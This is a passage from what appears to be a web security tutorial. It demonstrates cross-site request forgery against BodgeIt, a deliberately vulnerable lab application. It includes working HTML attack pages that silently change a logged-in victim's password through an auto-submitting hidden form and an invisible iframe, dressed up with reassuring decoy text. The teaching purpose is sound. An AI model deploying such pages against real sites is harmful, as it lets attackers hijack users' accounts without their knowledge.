We first need to analyze the request we want to force the victim to make. To do this, we need Burp Suite, or another proxy configured in the browser:
- Log in to BodgeIt as any user and click on the username to go to the profile.
- Make a password change. Let's see what the request looks like in the proxy:
So, it is a POST request to http://192.168.56.11/bodgeit/password.jsp and has only the password and its confirmation in the body.
- Let's try to make a very simple HTML page that replicates this request. Create a file (we'll name it csrf-change-password.html) with the following contents:
<html>
<body>
<form action="http://192.168.56.11/bodgeit/password.jsp" method="POST">
<input name="password1" value="csrfpassword">
<input name="password2" value="csrfpassword">
<input type="submit" value="submit">
</form>
</body>
</html>
- Now, load this file in the same browser as our logged-in session:
- Click on submit and you'll be redirected to the user's profile page. It'll tell you that the password was successfully updated.
- Although this proves the point, an external site (or a local HTML page as in this case) can execute a password change request on the application. It's still unlikely that a user will click on the Submit button. We can automate that and hide the input fields so that the malicious content is hidden. Let's make a new page based on the previous one; we'll call it csrf-change-password-scripted.html:
<html>
<script>
function submit_form()
{
document.getElementById('form1').submit();
}
</script>
<body onload="submit_form()">
<h1>A completely harmless page</h1>
You can trust this page.
Nothing bad is going to happen to you or your BodgeIt account.
<form id="form1" action="http://192.168.56.11/bodgeit/password.jsp" method="POST">
<input name="password1" value="csrfpassword1" type="hidden">
<input name="password2" value="csrfpassword1" type="hidden">
</form>
</body>
</html>
This time, the form has an ID parameter and there is a script in the page that will submit its content when the page is loaded completely.
- If we load this page in the same browser where we have a BodgeIt session initiated, it will automatically send the request and the user's profile page will show after that. In the following screenshot, we used the browser's Debugger to set a breakpoint just before the request is made:
- This last attempt looks better from an attacker's perspective; we only need the victim to load the page and the request will be sent automatically, but then the victim will see the Your password has been changed message and that will surely raise an alert.
- We can further improve the attacking page by making it load the response in an invisible frame inside the same page. There are many ways of doing this; a quick and dirty one is to set a size 0 for the frame. Our file would look like this:
<html>
<script>
function submit_form()
{
document.getElementById('form1').submit();
}
</script>
<body onload="submit_form()">
<h1>A completely harmless page</h1>
You can trust this page.
Nothing bad is going to happen to you or your BodgeIt account.
<form id="form1" action="http://192.168.56.11/bodgeit/password.jsp" method="POST" target="target_frame">
<input name="password1" value="csrfpassword1" type="hidden">
<input name="password2" value="csrfpassword1" type="hidden">
</form>
<iframe name="target_frame" height="0%" witdht="0%">
</iframe>
</body>
</html>
Notice how the target property of the form is the iframe defined just below it, and that such frame has 0% height and width.
- Load the new page in the browser where the session is initiated. This screenshot shows how the page looks when being inspected with the browser's Developer Tools:
Notice that the iframe object is only a black line in the page and, in the Inspector, we can see that it contains the BodgeIt user's profile page.
- If we analyze the network communications undertaken by our CSRF page, we can see that it actually makes requests to change the BodgeIt password:
